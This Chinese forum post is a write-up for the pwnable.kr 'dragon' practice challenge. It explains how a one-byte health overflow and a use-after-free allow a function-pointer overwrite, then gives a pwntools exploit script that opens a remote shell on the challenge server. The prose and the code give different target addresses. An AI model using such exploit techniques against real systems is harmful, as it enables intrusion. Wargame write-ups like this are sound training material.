首页
社区
课程
招聘
[原创] dragon pwnable.kr writeup
2019-8-6 23:15 8555

[原创] dragon pwnable.kr writeup

2019-8-6 23:15
8555

代码分析

http://pwnable.kr/play.php 中的 dragon

  • 首先分析题目逻辑

main() -> playgame():选择人物角色 -> fightdragon():与生成的龙角色进行回合制战斗

 

好,进入游戏。。。。
10分钟过去了。。。。

 

当我们分析正常逻辑,在游戏中人类永远无法赢得过龙。
但是看到在FightDragon函数中,对mama dragon初始化代码。

 

mama dragon 的血量表示只占一个字节。
一个字节能表示的最大血量是 127。

 

代码逻辑中当血量小于0时,判定我们胜利。

 

并且 free(dragon)。
所以我们可以选择角色 Priest 与 MamaDragon 进行战斗,防守(选项3)两次,然后(选项2)进行回复体力。
这样 3 4 个回合之后,每3个回合,mamaDragon血量增加12,初始是80,3 4个回合之后 80+48 = 128 > 127。
所以 3 * 4 个回合之后,血量为负值。

 

赢了之后的代码,

因为赢了之后会 free(dragon)。 在这又分配dragon相同大小内存,然后标准输入填充内容, 调用dragon 的首4byte指向的函数。
因此,到这里会触发 use after free 漏洞,而我们只需要将前4个字节填写为其他指令地址,就可以进行控制流劫持。

 

经过查找,我们发现

该地址处调用了system("/bin/sh")。
好了,那我们将输入前4个字节填充成 0x80480BF 就可以获得shell 。

exploit code

from pwn import *

context.log_level = "DEBUG"

#p = process("./dragon")
p = connect("pwnable.kr",9004)
#priest with baby dragon 
p.sendline("1")
p.sendline("1")
p.sendline("1")

#priest with mama dragon 
p.sendline("1")

for i in range(4):
    p.sendline("3")
    p.sendline("3")
    p.sendline("2")


#send name to freed dragon heap chunk, first 32bit is the function called.

name = ""
name += p32(0x8048DBF)

p.sendline(name)

p.interactive()

[培训]内核驱动高级班,冲击BAT一流互联网大厂工 作,每周日13:00-18:00直播授课

最后于 2019-8-7 23:05 被j3rry编辑 ,原因: 上传图片
收藏
点赞2
打赏
分享
最新回复 (6)
雪    币: 649
活跃值: (73)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
j3rry 2019-8-6 23:23
2
0
哎,上传个图片真难。。。  求改进啊
雪    币: 32403
活跃值: (18855)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
kanxue 8 2019-8-15 15:18
3
0
mb_adqwxbvm 哎,上传个图片真难。。。 求改进啊[em_1]
传图有2个方法,一个是直接用相关工具剪切图片粘贴上来(类似Word),二是

还有大图,要高清的,直接以附件形式上传。
雪    币: 12129
活跃值: (15560)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
pureGavin 2 2019-8-15 16:20
4
0
我记得b0bb之前在IRC里说了很多免费的靶机网站,你不会就是muninn吧??
雪    币: 649
活跃值: (73)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
j3rry 2019-8-19 19:10
5
0
kanxue 传图有2个方法,一个是直接用相关工具剪切图片粘贴上来(类似Word),二是还有大图,要高清的,直接以附件形式上传。
我直接上传 markdown 文件夹的压缩包不可以吗?
雪    币: 649
活跃值: (73)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
j3rry 2019-8-19 19:12
6
0
pureGavin 我记得b0bb之前在IRC里说了很多免费的靶机网站,你不会就是muninn吧??
我不是呀,我只是一个刚刚入门的菜鸟
雪    币: 12129
活跃值: (15560)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
pureGavin 2 2019-8-20 08:55
7
0
mb_adqwxbvm 我不是呀,我只是一个刚刚入门的菜鸟
这样啊。。。那我就把b0bb说的靶机都发出来好了,也算是资源共享了
pwnable.tw   pwnable.xyz   root-me.org  pwnable.kr
hackthebox.eu
游客
登录 | 注册 方可回帖
返回